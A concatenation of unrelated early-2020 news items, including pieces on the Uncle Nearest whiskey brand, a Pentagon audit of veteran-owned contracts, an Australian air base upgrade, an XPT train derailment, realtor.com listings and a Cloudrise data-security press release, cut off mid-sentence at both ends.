independent American whiskey brand in U.S. history, according to the brand. In the years since, they have opened their own distillery in Shelbyville, Tennessee and developed a three-bottling product line featuring the original 1856 Premium Aged Whiskey, the 1820 Single-Barrel Edition, and a 1884 Small Batch bottling curated by descendants of Green. Photo credit: Stacy Preston Photography Green's great-great-granddaughter, Victoria Eady Butler, was chosen as the first family member to curate a bottle. Butler worked for 31 years for the Department of Justice before joining Uncle Nearest as Director of Administration, helping to oversee a scheme which grants full scholarships to all of Green's college-age descendants. And though she had no industry experience when she began tasting, the palette doesn't lie. "Her first batch became such a fan favorite that we asked her to do the second batch. And that one sold out so fast we asked her to do the third batch," says Weaver. "With every batch, she just kept getting better and better. Shortly, thereafter, I asked her to become our Master Blender, as it was important to me that someone who was in Nearest Greens bloodline be the one stewarding over the whiskey in the bottle that bears his name." Several member of Victoria's family have worked in the whiskey industry over the years, and she says she's been able to draw on that shared knowledge as she's developed into the first African-American female master blender on record in the U.S. "There has been a lot of on-the-job training and Ive enjoyed every minute of it," she says. "The more I learn the more I feel connected to my great-great-grandfather and work he did all those years ago. Its wonderful!" Photo credit: Courtesy of Uncle Nearest As a brand featuring a primarily non-white team with an all-female leadership, Uncle Nearest has encountered some of the same issues that Green's legacy itself faced; struggling to be acknowledged by an establishment that expects a different archetype of a distiller. In the very beginning Weaver even had her husband (a Fortune 500 executive) pose as the CEO of the company in order to get distributors, bottling fabricators, and more to respond to her team's calls. "He either got straight through or received calls back within the same day," she says. "They thought it less odd that hed be running a whiskey company in Tennessee while maintaining a very full time role in Los Angeles, than... to simply believe I was the chief. It took a lot of the folks in this industry over two years to realize I was actually the one running the company. Success has a funny way of changing how folks see you." But as for honoring Green's legacy in itself, Weaver says the industry was more than receptive. "In terms of being open to acknowledging Greens achievements, that is something this industry embraced from day one. There was never any pushback. We had too many documented artifacts that told his story and cemented his legacy. I never had a doubt that his story would go down in the history books, would be taught in university courses (as is already happening), and the Mount Rushmore of Whiskey that has always included Johnnie Walker, Jack Daniel and Jim Beam, would now have a person of color formally etched in stone. This industry backed that from the beginning, and I am incredibly proud of them for that." You Might Also Like Small businesses owned or run by disabled veterans may have been cheated out of hundreds of millions of dollars in Defense Department contracts by unscrupulous firms who were ineligible for the awards, the Pentagon's Inspector General reported Thursday. The IG's audit found that the DoD "awarded $876.8 million in contracts to ineligible contractors and did not implement procedures to ensure compliance with the Service-Disabled Veteran-Owned Small Business (SDVOSB) subcontracting requirements after the contracts were awarded." At least 16 of the 29 contractors reviewed in the report who received business from the DoD on the basis that they met the disabled veteran requirements were found to be ineligible, the IG's office said. Unless the DoD conducts better oversight, "service-disabled veterans may be in jeopardy of not receiving contract awards intended for them, and the DoD will be at risk of misreporting the amounts for SDVOSB participation," the 29-page report states. Related: After Court Mandate, VA Is Increasing Contracts With Vet-Owned Businesses The IG's report followed on warnings in a Government Accountability Office report last November that some firms seeking business with the DoD were setting up shell companies with "opaque ownership structures that may conceal who owns, controls, or benefits from the company." "We identified fraud and national security risks to DoD from opaque ownership such as ineligible contractors receiving contracts and foreign firms receiving sensitive information through U.S.-based companies," the GAO's report said. Under an executive order, the DoD and all government agencies have been directed to boost opportunities for service-disabled veteran businesses to get contracts, with a goal of having at least 3% of all federal contracting dollars go to firms owned by disabled veterans. The rules require that the SDVOSB be at least 51%-owned by one or more service-disabled veterans, and one or more service-disabled veterans must be in control of the management and daily business operations of the business. However, the IG's report found that the DoD had been awarding contracts intended for disabled veterans to some contractors who "did not have a service-disabled veteran as the owner and highest ranking officer in the company or whose publicly available information and contracting documentation did not support that they met the requirements for SDVOSB status." In addition, the contracting personnel at the DoD "did not perform the oversight necessary to verify compliance with the SDVOSB subcontracting requirements," the report said. It did not name any of the questionable firms but cited the example of one identified only as "Contractor A," who had received a $5 million SDVOSB contract based on the contractor's "self-representation" as a disabled veteran-owned business. The report said that "we were unable to confirm" with the Department of Veterans Affairs that the individual named as Contractor A's president was actually a service-disabled veteran. The report also cited the case of "Contractor B," who had received three SDVOSB contracts worth $209.6 million. "However, we determined that evidence did not exist to support that a service-disabled veteran was the majority owner and highest ranking officer or in control of the company," the IG's report said. Only one member of Contractor B's business was a service-disabled veteran, and that person "lived over 2,000 miles away from the contractor's location," according to the report. It recommended that the Office of Small Business Programs (OSBP) at the DoD require contractors to submit valid documentation to support their SDVOSB status before contracts are awarded, and perform periodic reviews to verify eligibility. In response to the report, OSBP Acting Director J. Scott Baum disagreed with the findings and declined to address the recommendations, the IG's office said. In addition, Baum "stated that his office was not primarily responsible for procurement policy or contract operations," according to the report. In his memo to the IG's office, Baum said it is the Small Business Administration, and not his office, that is "responsible for determining eligibility and ensuring compliance" with the SDVOSB rules. -- Richard Sisk can be reached at Richard.Sisk@Military.com. Read more: Secret Drone Crash, B-1 Engine Malfunction Among Major 2019 Air Force Mishaps A day after pro-Pakistan slogans were raised by an agitator at an anti-CAA event here, a young woman was detained and booked on Friday for holding a "Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti" placard at a counter protest in the city, police said. A case has been registered for offences under the Indian Penal Code including creating enmity between different groups of people against the woman, identified as Arudra, they said. "We have registered the case suo moto (on their own) for creating enmity between different groups of people,"Deputy Commissioner of Police Chetan Singh Rathore said adding she was being questioned. Holding the placard with the slogans, Arudra was spotted sitting among the participants of the protest organised by the Hindu Jagaran Vedike against Amulya Leona who had shouted "Pakistan Zindabad" on Thursday. She was escorted out of the place as protesters asked her to leave and crowd started gathering, city police chief Bhaskar Rao said. "She has now been taken into custody for her own safety along with the placard... we will find out her background, where she has come from and who are behind her among other things," Rao told reporters, adding she did not raise any slogan. The "Kashmir Mukti, Dalit Mukti, Muslim Mukti" slogans were written in both Kannada and English in the placard held by her. The Hindu Jagaran Vedike organised the protest against Amulya Leona who had raised "Pakistan Zindabad" slogan thrice at an even against the Citizenship Amendment Act. She had made the controversial slogans in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering, prompting him to denounce her act. After being removed from the stage, Amulya was later arrested on charges of sedition and produced before a magistrate court which remanded her to 14 days judicial custody. An upset Owaisi had said he would not have participated in the protest had he known that the woman had been invited for the event and asserted his party had no links with her. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Source: Xinhua| 2020-02-21 17:54:07|Editor: xuxin Video Player Close CANBERRA, Feb. 21 (Xinhua) -- The Australian government has announced a major upgrade of a Northern Territory (NT) air base to expand the air force's capabilities in the Pacific. Prime Minister Scott Morrison and Defence Minister Linda Reynolds on Friday announced a 1.1 billion Australian dollar (727.9 million U.S. dollar) upgrade for Royal Australian Air Force (RAAF) Base Tindal. A majority of the funding for the base, 330 km south-east of Darwin, will be spent extending its runway and building new fuel storage facilities. Tindal will be home to 16 of the 72 new F-35 joint strike fighter jets purchased by the RAAF from the United States. In addition to the new fighter jets, the upgrade will ensure that Tindal can house U.S. long-range bombers and Australian refueling aircraft. "It will be integral to our alliance with the United States, and will increase the reach of Air Force capabilities in the Indo-Pacific," Morrison said in a statement. "As part of these upgrades, RAAF Base Tindal will be able to deliver enhanced air-to-air refueling and air support capabilities, ensuring we can support critical ADF operations - everything from air combat missions through to responding to natural disasters both at home and throughout our region." The construction phase will support 300 new full-time jobs in the NT until its completion at the end of 2027. More than 100 new live-in units for Australian Defence Force (ADF) personnel will be built at the base. "The 2016 Defence White Paper identified Northern Australia as strategically important, both for national defence and as a forward base for regional engagement," Reynolds said. Omicron variant of COVID-19 identified in Antrim, Charlevoix counties The omicron variant of COVID-19 has been identified in one Antrim County resident and one Charlevoix County resident. Mr. Montgomery had started running for office when he moved to the area in 1956, when few African-Americans held public office anywhere in the South. At the time, Florida had one of the countrys highest lynching rates per capita, according to Richard Paul, an author, with Steven Moss, of We Could Not Fail: The First African Americans in the Space Program (2015). Mr. Montgomery is the subject of one of the books chapters. It took Mr. Montgomery 13 years of campaigning, off and on, to win his seat on the council. And it would be more than 35 years before another African-American was elected to that body. Julius Marvin Montgomery was born on May 30, 1929, in Homewood, Ala., the oldest of 12 children of Edward Perkins Montgomery Sr. and Queen Ester (Jackson) Montgomery. The family lived in Rosedale, Homewoods oldest neighborhood, which was settled by former slaves after the Civil War. As a child, his daughter said, Julius had a terrible stutter, which isolated him. But he worked hard on his own to conquer it, giving him a self-confidence he never lost. Mr. Montgomery attended the Tuskegee Institute, the historically black institution now known as Tuskegee University, where he studied to be a Linotype operator. He graduated in 1951. He worked briefly as a printer before joining the Air Force that year, serving until 1956. After the Air Force, Mr. Montgomery worked briefly as a radio station engineer in Mobile, Ala. He applied for other jobs at other companies, but was told they didnt hire black people. He also applied for a job with the Radio Corporation of America at Cape Canaveral, figuring that his license as a first-class radiotelephone operator might make him a good fit for the space program. He passed the entry-level test, and RCA offered him a job for $76 a week. He didnt respond. When RCA came back with an offer of $96 a week (about $924 in todays money) to work as an electronics technician in its development lab, he accepted and headed for Florida, becoming the first black professional employed at the space center. AMES, Iowa Iowa State University Extension and Outreach will offer two, two-hour workshops March 21 and April 4 for anyone interested in being certified to sell morel and oyster mushrooms within Iowa. The workshops are held every year during the spring on the Iowa State campus. To legally sell morel and oyster mushrooms in Iowa, sellers must complete a certification workshop that covers identifying morels and oyster, and distinguishing between true and false morels. Consumers can be poisoned by eating misidentified mushrooms. By the end of the workshops, participants will recognize true edible morel and oyster mushrooms. In 2020, oyster mushrooms were added to the training certification. Certification lasts for three years; therefore, Iowans who have not been certified since 2017 should re-certify this year if they want to legally sell in Iowa. ADVERTISEMENT Registration also is open to out-of-state individuals who hunt and sell these products in Iowa. Two workshops will be held on the Iowa State University campus in room 1330 at the Advanced Teaching and Research Building, 2213 Pammel Drive, Ames. The workshops will be on March 21 and April 4, from 2-4 p.m. Participants should arrive by 1:45 p.m. for check-in; sessions start promptly at 2 p.m. Register online at http://bit.ly/MorelOyster20. Once on the page, click new user sign-up. Registration is $50 per person. If you have trouble with the online registration process, contact registrations@iastate.edu or call the Iowa State University Plant and Insect Diagnostic Clinic between 10 a.m. and 1 p.m. Tuesdays or Thursdays at 515-294-0581. The deadline to register is March 18. Tukur Buratai, chief of army staff, says he is confident that troops in the north-east will end Boko Haram insurgency soon. In a s... Tukur Buratai, chief of army staff, says he is confident that troops in the north-east will end Boko Haram insurgency soon. In a statement issued by Sagir Musa, army spokesman, on Friday, Buratai also reminded the troops that they have done it before, and that they will do it again without any foreign troops around. According to the statement, Buratai said this in letter to congratulate the theatre commander, sector commanders, super camps commanders, commanding officers, as well as the officers and soldiers serving in Operation Lafiya Dole for their gallantry. In the letter, the army chief hailed the troops and their commanders for the display of courage and patriotism that led to the decimation of the leadership and ranks of Boko Haram insurgents and their affiliate ISWAP in various parts of the theatre. He asked them to continue to dominate the theatre and maintain high standards of professionalism. He also asked them never to allow the insurgents any breathing space or freedom of action anywhere as they continue to discharge their legitimate duties. Buratai said he has foreseen that with the renewed zeal, it is just matter of days to end the menace of Boko Haram insurgents. He said his confidence in total victory has further been rekindled by the determination of the troops on the ground. I am more confident now than ever before with your current robust posture that you will end the BHT/ISWAP menace in no distance time, he said. Savanhdary Vongpoothorn. Lives: Ainslie, Canberra. Age: 49. Represented by: Niagara Galleries, Melbourne; Martin Browne Contemporary, Sydney. Her thing. Abstract paintings informed by Buddhist traditions, combining minimalist geometry and calligraphy. Broken Sutra VI, 2019, lino print and acrylic on woven rice paper scroll, 41cm x 41cm. Credit: Our take. Vongpoothorn was eight years old when she and her family arrived in Australia as refugees from war-torn Laos. She quickly adapted to her new surroundings in the suburbs of Sydney, but has always maintained a strong attachment to her Lao heritage. During her student years, Vongpoothorn experimented with many different styles and materials, and was influenced by the Australian landscape, American minimalism and the Buddhist philosophy she absorbed at home. An impressive mid-career survey, held at the Drill Hall Gallery in Canberra last year, revealed an artist who has never stopped experimenting, while staying true to those early, fundamental themes. In the Broken Sutra series, which provides the title for this exhibition, Vongpoothorn combines a severe geometry with a mass of free-flowing calligraphic marks based on the Pali script used in Laos. The sutras are broken because they are a response to a world out of joint, but may also be seen as a reflection of her own cross-cultural status, as an Asian-Australian suspended between two worlds. A series of rubbings made at the Nigatsu-do temple in Nara are a collaboration with Japanese poet Noriko Tanaka, who added her calligraphy to each piece. Alongside this exhibition, the Niagara gallery is also featuring large-scale works by Hmong artist Tcheu Siong, whose animism complements Vongpoothorns abstract Buddhist overtones. Chinese officials said they were kicking out Josh Chin, Chao Deng and Philip Wen because of the headline on an opinion column by Walter Russell Mead on Feb. 3: China Is the Real Sick Man of Asia. The opinion and news sections of the Journal, as at The Post, operate independently of one another. Chinese officials know this and could easily have submitted a response to compete in the marketplace of ideas. Instead, they chose misdirected punishment, displaying antipathy toward a free press and open society. In the greatest information revolution humanity has ever experienced, the Chinese Communist Party has built a vast moat around itself to keep selected knowledge and views from reaching its people. It devotes immense resources to censoring what its own citizens see, hear and say inside the country. Mr. Meads column was never published in China because the Journal, like many foreign publications, is blocked there. [February 21, 2020] Cloudrise emerges from stealth to orchestrate and automate data security, privacy, and cloud security DENVER, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Founded by top thought leaders in the data security, privacy, and cloud security market, Cloudrises vision is to unify and harmonize multiple technology and vendor point solutions so organizations can detect, respond, and report more effectively for data and privacy incidents. Cloudrise services focus on unifying operations across best-in-class data protection and privacy controls, cloud security services, and business process tools, enabling organizations to achieve faster incident response times, greater operational efficiencies, and unified reporting to aid business decision-making. A new type of service provider, Cloudrise leverages a proprietary security orchestration and automation platform, specifically designed to unlock the extensive capabilities of data security and privacy centric platforms, including Data Loss Prevention (DLP), Cloud Access Security Broker (CASB), Consent Management, and Privacy Operations. Focusing on repeatable and successful outcomes by leveraging automated workflows and action-oriented analytics, Cloudrise enables our clients to reduce risk when dealing with data incidents - from breaches to data subject requests. Data Loss Prevention platforms, or the rapidly evolving Privacy Operations management tools, will never achieve their stated risk control objectives when plugged into a traditional SOC environment that is primarily optimized for threat detection, said Rob Eggebrecht, founder and CE. We are on a mission to challenge the status quo by transforming organizations data security and privacy programs through security process automation. The Cloudrise Platform is designed to harmonize traditional and next-generation data security and privacy tools, consolidating and enriching data from multiple point solutions, and delivering meaningful information to the appropriate audiences. Traditional SOC professionals benefit from highly accurate feeds from DLP and CASB systems that are traditionally noisy and yield high false positive rates, all while privacy, compliance, and business unit leads are provided highly accurate, predictable, and meaningful reports, with trending and analytics to support their data security, privacy, and compliance programs. Global privacy regulations, such as the General Data Protection Regulation (GDPR) and the California Consumer Privacy Act (CCPA), are the tip of the iceberg with dozens more in the works all requiring a different way of thinking about data privacy and security. Cloudrise partners with leading data security and privacy vendors, including Netskope, BigID, Securiti.ai, Forcepoint, Symantec (AVGO), Amazon Web Services (AMZN), and Microsoft (MSFT), to deliver comprehensive data and privacy-centric services. The company specializes in DLP, CASB, Cloud Security Posture Management (CSPM), Privacy, and Managed Security Services (MSS). Visit Cloudrise Monday, February 24th, at the Cloud Security Alliance Summit at RSA 2020 in San Francisco. About Cloudrise Cloudrise solves for data, privacy, and cloud security challenges through assessments, technology enablement, security process automation, and managed services. Cloudrise delivers repeatable and successful outcomes by leveraging automated workflows and action-oriented analytics, enabling clients to reduce risk and work at the speed of business. The privately held company is headquartered in Denver, Colorado and can be found online at www.cloudrise.com or on LinkedIn . Media Contact: Hillary Laird VP Sales and Marketing +1 800-917-7619 [email protected] [ Back To TMCnet.com's Homepage ] When everyone else thought that Prince Harry and Meghan Markle's biggest mistake they ever committed was their decision to step down as senior royal members, they got it all wrong since it was only the tip of the largest part. The Duke and Duchess of Sussex, as part of their plans to become fully independent, built the Sussex Royal website, which comprises hundreds of products - from printed items and clothing to intangible services like charitable fundraising and social care. However, they cannot continue enjoying the use of the words nor have the chance to trademark it anymore since Queen Elizabeth II will finally ban Prince Harry and Meghan from using them once they give up their positions this March. What is The Fundamental Mistake They Made? As soon as the news came out, the royal commentator Rowan Dean spoke up and believed that losing the title was the consequence the royal couple has to face. According to Mr. Dean, their choice to give up their positions for the sake of independence and freedom boomeranged. "It's all coming unstuck bit by bit because the fundamental mistake they made is they didn't understand the institution," the commentator said. Even the Garter King of Arms and aide to the Queen, Thomas Woodcock, told The Times of London the caution he sent to Prince Harry and Meghan if they would continue using the term "royal." "I don't think it's satisfactory. One cannot be two things at once. You either are a [royal] or not," Mr. Woodcock said, referring to the Sussex Royal brand. "It is such unusual times that this is a matter of waiting and seeing how things develop." The Duke and Duchess of Sussex planned to utilize the brand to expand their business even after they officially split from the monarchy. But since they overlooked what the monarchy could serve them, they acted like they could still enjoy the riches at no cost to themselves. Royal watchers thought that Prince Harry, as a royal prince by birth, understood the institution already. But the Duke seemed to forget that the Royal Family's sole responsibility is to protect the constitution. Mr. Dean Frustrated of Queen Elizabeth II Though he acknowledged the Queen's effort to protect the Royal Family and the people of the U.K., he failed to miss the fact that Her Majesty's warning came a little late. "She started off saying, 'you're going to lose the HRH.' Well, the HRH is what all the luvvies around the world desperately love about Meghan and Harry," Mr. Dean said. The monarchy's requirement only included the following: discontinue using their His and Her Royal Highness titles, refrain from using a number of state funding they enjoyed before, and even return the massive funds from Sovereign Grant they spent to renovate their home at Frogmore Cottage. The Buckingham Palace, after the ugly four-way-call, confirmed that they would keep their HRH style, but they will never be allowed "to use it in a professional capacity" - and they will only get to use it until March 31. The royal commentator added that Her Royal Highness assured the two at that time that they could still get a hold of the Sussex Royal, but having the two use it when they are no longer serving the Crown was a "blatant attempt to capitalize on the monarchy." "Make millions, potentially billions, off the monarchy while living in Canada - this is an absolute obscenity." READ MORE: Royal Humiliation: Queen Elizabeth II Strips Off Prince Andrew's Royal Title? At this moment, there are no protests in Novi Sanzhary where Ukrainians, evacuated from the Chinese city of Wuhan, were put under quarantine. It was reported by the correspondent of 112 Ukraine TV Channel. "The situation here is calm now. Police officers are patrolling all around the perimeter, they are standing at all entrances and exits. There are no local residents near the medical center. The bridge, where the protests took place yesterday, is empty, everything is cleaned up, the correspondent notes. As we reported earlier, Ukraine's Ministry of Internal Affairs reported that the citizens of Ukraine that had been evacuated from China would be sent to Novi Sanzhary sanitarium. This evoked the outrage of the locals. Its authorities stated that there were no conditions and means for the treatment of people diseased with coronavirus or for the provision of quarantine. As a result, protesters, armed with sticks, cans, and stones, tried to attack the buses that were carrying evacuated Ukrainians to the medical center. A colorful condo that's been essentially uninhabited since 1974 is this week's most popular home on realtor.com. Decked out in groovy shades of green, the one-of-a-kind time capsule mesmerized us, and we wrote about it last week. Apparently you were equally impressedyour clicks propelled this '70s hit to the top of the charts. The listing agent for the leisure suit-come-to-life pad was also aware of the intense interest. "Since I posted the link to the article on my Facebook, I've gotten a lot of likes," says Nancy Maranan. "We currently have multiple offers." She says a couple of interested buyers intend to keep the 1970s interiors intacta development we're thrilled by. Photographers have also reached out to Maranan to set up shoots in the condo, but she says a surplus of shutterbugs would get in the way of potential buyers who want a tour. "We're looking for buyers," Maranan says with a laugh. Stepping outside the time capsule, you also clicked on a sleek mountain retreat in North Carolina, a fabulous A-frame perched somewhat precariously on an Arkansas mountainside, and a top-to-bottom renovation in Louisville complete with an on-trend black exterior. Soak it all in while you can by reveling in all of this week's most popular homes. Price: $234,900 Why it's here: Buyers searching for wide-open spaces should take a look at this recently remodeled farmhouse-style ranch built in 1956. The three-bedroom home sits on a 4.5-acre lot that backs up to a county park. It includes a barn, detached two-car garage, covered front porch, and hot tub. Baltimore, OH realtor.com Price: $174,900 Why it's here: This dramatic Georgian-style Colonial was built in 1929 and is being sold as a short sale. The price looks like a bargain, and the listing photos show no evidence of major structural issues. The 2.5-story, four-bedroom brick home features hardwood floors, slate roof, remodeled kitchen, gas heat, and central air conditioning. York, PA realtor.com Price: $319,000 Why it's here: Right on trend, this all-black exterior is sure to catch a buyer's eye. Originally built in 1900, this three-bedroom home was recently renovated. Now a modern, industrial showplace, it features matte-black tile, original hardwood floors, black cabinets, concrete and butcher block countertops, and a kitchen with a garage door that opens to the backyard for entertaining. Louisville, KY realtor.com Price: $350,000 Why it's here: Nestled on a quarter-acre in the Pisgah National Forest, this shapely retreat is just a few minutes from downtown Asheville. Constructed by a local builder who specializes in modern design, the 1,500-square-foot home features sliding glass doors and windows with views of the surrounding forest. Currently, the home is a wildly popular short-term rental on Airbnb. Asheville, NC realtor.com Price: $159,000 Why it's here: It's a fun '50s time capsule with a funky front door that hints at the potential for this rambler to be revived as something spectacular. Sitting on a corner lot, this three-bedroom house includes a basement with half-bath, a large rec room, and plenty of storage. We particularly love the original cabinetry in the untouched kitchen. Ample windows fill the home with lightand there's even a space for shuffleboard. Dekalb, IL realtor.com Price: $135,000 Why it's here: It's in a spot that's become famous thanks to HGTV's popular show "Home Town." Sitting on nearly a half-acre in Country Club Hills, this three-bedroom home has been kept in immaculate condition since it was built in 1997. Highlights include granite kitchen counter tops, new laminate wood flooring, and new carpet on the second floor. Laurel, MS realtor.com Price: $3,980,000 Why it's here: The design of this impressive 8,100-square-foot industrial estate was inspired by a 300-year-old sycamore tree. Built in 2015 as a health retreat, the home has water flowing around it from an 1840s springhouse. That spring is used to heat the floors and fills the on-site fitness center's aromatherapy sauna, indoor spa, plunge pool, and saltwater pool. Outside there's a treehouse, zip line, pole barn, and walking trails throughout the 11-acre property. Yellow Springs, OH realtor.com Price: $424,999 Why it's here: This 1906-built Colonial is picture-perfect. The five-bedroom residence has plenty of room for guests with more than 5,600 square feet of living space. The electrical, plumbing, and heating systems, roof and windows, floors, siding, and more were recently updated. The home's nearly 2-acre lot includes a pool and woods to explore. Chippewa Falls, WI realtor.com Price: $247,500 Why it's here: Take just one look at this A-frame perched on a hillside, and you'll want to see more. Built in 2018 with three floors and a rooftop deck, this light-filled property is being sold with 2 acres of land. The interior of this fabulous four-bedroom residence is filled with clean lines, which let the views of the surrounding woods take center stage. West Fork, AR realtor.com Price: $375,000 Why it's here: The decor caused a click frenzy. Built in 1974, this 1,800-square-foot condo has been mostly uninhabited since. Professionally decorated in daring shades of green, it's an ode to '70s excess. The carpet looks immaculate, the wallpaper looks vibrant, and the custom furnishings show no signs of age. Ramona, CA realtor.com The post Must-See Green Time-Capsule Condo Is the Week's Most Popular Home appeared first on Real Estate News & Insights | realtor.com. The train driver who died in a horrific derailment between Melbourne and Sydney has been named as 54-year-old John Kennedy (pictured) from Canberra Investigators are sifting through the wreck of a train derailment that killed the driver and pilot north of Melbourne. Canberra man John Kennedy has been named as the driver of the XPT diesel locomotive that was travelling from Sydney to Melbourne before it derailed at Wallan on Thursday night. The 54-year-old died alongside the train's pilot, a 49-year-old man from Castlemaine in regional Victoria. Eleven of the train's 160 passengers were also injured. Speed is one of the factors being looked at, after it was reported the train was supposed to slow to 15km/h as it was diverted through a different part of track near Wallan station. The Australian Transport Safety Bureau is looking at the maintenance of the train and railway line as well as signalling data. Some passengers from the XPT have said it was speeding when it derailed. A Sydney man described "hanging on for grim death" as the train came off the tracks. "It probably went about 150 metres before it stopped, there were carriages going sideways - pretty horrifying," he said. Passenger Leyon Gray estimated the train was "probably doing 80 or 90km/h" before everyone was thrown out of their seats. Some passengers also claimed there was an onboard announcement saying the driver was trying to make up for a lost time before the crash. Police would not confirm this. The Rail, Tram and Bus Union said the the train came off a section of track awaiting maintenance. "Conditions were altered and V/Line drivers rightly refused to traverse this section over the past week," secretary Luba Grigorovitch said. The Victorian Nationals' deputy leader Steph Ryan raised concerns about the rail line with the state government days before the crash and after another train was derailed further up the line in January. Authorities remain at the scene of a fatal derailment of an XPT train north of Melbourne Mr Kennedy died along with another male pilot on Thursday night when his train crashed on its way to Southern Cross Station in Victoria (pictured) But Deputy Prime Minister Michael McCormack was not aware of complaints by drivers about the safety of the section of the track. "No authority would let passengers travel on unsafe track," he told reporters at the scene. "We will ensure that proper answers are found for the bereaved families and making sure these sorts of things don't happen again." It's expected to take days to clear the tracks, with buses set to replace all Seymour, Shepparton and Albury train services until further notice. The transport safety bureau will release a preliminary report into the crash in about a month, ahead of a final report in 18 months. NEW YORK Gov. Andrew Cuomo announced Thursday that he will embark on a cross-country tour of legal marijuana states as part of his effort to legalize the drug in New York. At a press event in New York City, Cuomo said he plans to visit Massachusetts, Illinois and either California or Colorado three states that have "different versions" of legalized recreational marijuana programs. He said the goal is to find out what's worked for them, what hasn't, and what they've learned in the process. "Everybody has goals," he said. "We want a goal of social equity, we want to make sure young people can't get it, et cetera. We want to make sure there are advantages to communities that have been oppressed. But then you look at the aftermath and many of those goals haven't been met, right?" He said he and "his team" will meet with the other states to explore how the social equity and law enforcement pieces of their programs have panned out. Social equity programs aim to increase access to the industry for poor and minority groups who have been harmed by America's war on drugs. It's likely the governor's team would include the state's new director of Cannabis Programs, Norman Birenbaum, who was appointed to the brand new position in December. Cuomo spokesman Jason Conwall said additional details on the trip, including who's going and when, will be released soon. New York is currently pursuing "regional coordination" with other Northeast states when it comes to marijuana legalization. Cuomo said New York wants to work with Massachusetts, Rhode Island, Connecticut, New Jersey and Pennsylvania states that have either already legalized the drug or are trying to to coordinate tax rates, minimum age purchases, sale limits, and other program aspects in order to minimize competition. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. "You know, our political debate now is all about 'I have a plan,'" he said. "Yeah, everybody has a plan. But can you actually get it done and does it turn out the way you planned it, right? That's the big question, and that's where government usually gets into trouble. So, I want to make sure we learn from them." The governor has said marijuana legalization will be a major priority of his this budget season. It will be easier to pass as part of the state budget, which is due April 1, than as standalone legislation, he said. An effort last year to legalize in New York failed. Eleven states and Washington, D.C. have legalized recreational pot so far, and public support on the issue continues to grow. Two-thirds of Americans support legalization, according to a November 2019 Pew Research Center survey. NEW YORK, Feb. 21, 2020 /PRNewswire/ -- Market Overview The global solar power window is an emerging technology and is expected to gain popularity over the period of 2020-2025. The favorable government policies is expected to drive the demand for solar power window over the study period. However, the factors such as lower efficiency, high initial cost and structural limitations for the solar power window is expected to act as hindrance in the growth of the solar power window market. Read the full report: https://www.reportlinker.com/p05865807/?utm_source=PRN - The residential segment is expected to experience higher demand for solar power window over the forecast period, due to lower electricity demand. - Europe is estimated to have the maximum share of the solar power window market, in 2018. Additionally, the growth rate of the Europe region is expected to be the highest during the forecast period, primarily due to the rapidly research and development activities in the region, over the forecast period. - The growing electricity demand and flourishing construction sector, globally, is expected to act as an opportunity for solar power window market. Key Market Trends Residential to Dominate the Market - The residential sector accounts for a significant share of energy consumption for buildings globally. But the residential buildings, particularly the individual houses, have smaller flat area and lower energy demands. As a result, these homes have been mainly dependent on traditional PV rooftop modules. - Most of the residential PV demand comes from the western countries, where, due to a relatively lower density of population, the share of individual houses in the residential sector is high. The hotspots for the building-integrated PV demand are also mainly in the western regions. - The residential sector has a significant potential for the solar window market, and can only be exploited if either the solar windows achieve financial competitiveness with the conventional windows and/or if they achieve efficiency and commercial competitiveness with other BIPV components. - The success of SwitchGlaze can provide significant opportunities for the market players in exploiting the residential sector. Also, SolarWindow has claimed that the product that they have developed and are about to make available in the market has a smaller payback period than the other BIPV products. - In Sept 2018, Taiyo Kogyo Corp. has installed a sunroom using "see-through solar panels" at a private house in Gyoda City, Saitama Prefecture. With a transmittance of 10% (visible light), it eliminates the need for lighting during daylight hours. On the other hand, it blocks more than 90% of solar radiation heat, contributing to cooling the room. - In the short-term, until an unexpected breakthrough with several installations in solar window technology, the residential market is expected to remain in the niche stage. Europe to Dominate the Market - Europe is expected to experience the earliest breakthrough for the technology over the forecast period. - In 2016, the start-up called Physee a spin-out company from the University of Delft, have developed a perfectly transparent and aesthetically unobtrusive windows. At first glance, they look like any normal modern windows. However, where an ordinary window reflects 30% of light that reaches its surface, the PowerWindow captures this light for energy generation. - In July 2017, a Dutch bank in the Netherlands, has installed solar power windows developed by Physee with over 300 square feet. The windows generate enough power to charge a smartphone a few times a day and can't act as a standalone power source for buildings yet. - The technology holds a huge and promising potential in European market. The increasing need for the clean energy, government's focus on reduction of carbon emissions and decreasing available land for installation for conventional solar panels at the load centers, is expected to create the demand for solar power windows over the forecast period, in the region. Competitive Landscape The global solar power window market is consolidated, due to the small number of active companies operating in the industry. The key players in this market include Physee, Brite Solar, Onyx Solar Energy S.L, Solaria Corporation and EnergyGlass. Reasons to Purchase this report: - The market estimate (ME) sheet in Excel format - Report customization as per the client's requirements - 3 months of analyst support Read the full report: https://www.reportlinker.com/p05865807/?utm_source=PRN About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Contact Clare: [email protected] US: (339)-368-6001 Intl: +1 339-368-6001 SOURCE Reportlinker Related Links www.reportlinker.com Residents in eastern Ghouta are living in fear as the regime conducts wide-ranging security crackdowns, arresting a large number of people writes Sowt al-Asima. On Wednesday, Military Security branch patrols on carried out raids against a number of houses, shops and farms in the towns of Nashabiyeh and Otaba, and arrested 13 young men from the two towns. The arrest campaign affected a number of people wanted on security-related and criminal charges, as well as a number of people wanted for military service, according to Sowt al-Asimas correspondent. The correspondent added that the Military Security set up a temporary checkpoint in the Grand Mosque area in Nashabiyeh, coinciding with the launch of the campaign inside the town, and that the checkpoint arrested three young men going back to their homes. According to the correspondent, the military checkpoints deployed around the al-Marj area in eastern Ghouta had imposed restrictions on the area through which they carried out security operations for all passersby, including women. Regime intelligence forces since the start of the year have carried out dozens of campaigns in various cities and towns in the Damascus countryside with the aim of arresting people wanted by the security branches and those who have evaded military service. Patrols by the State Security branch, which is directly responsible for security in Douma in eastern Ghouta, carried out a campaign which led to the arrest of more than 25 people from the city after setting up more than 10 checkpoints in various districts, including three on the main al-Jalaa street, and two on both the al-Quwtli and Khorsheed streets, as well as a checkpoint on the Old Aleppo street and another on the way to the cemetery. The al-Madaris checkpoint, shared between the Fourth Division and the Military Security, stationed at the outskirts of Masarba town in eastern Ghouta, on Feb. 16, 2020, arrested seven men from the town with the aim of 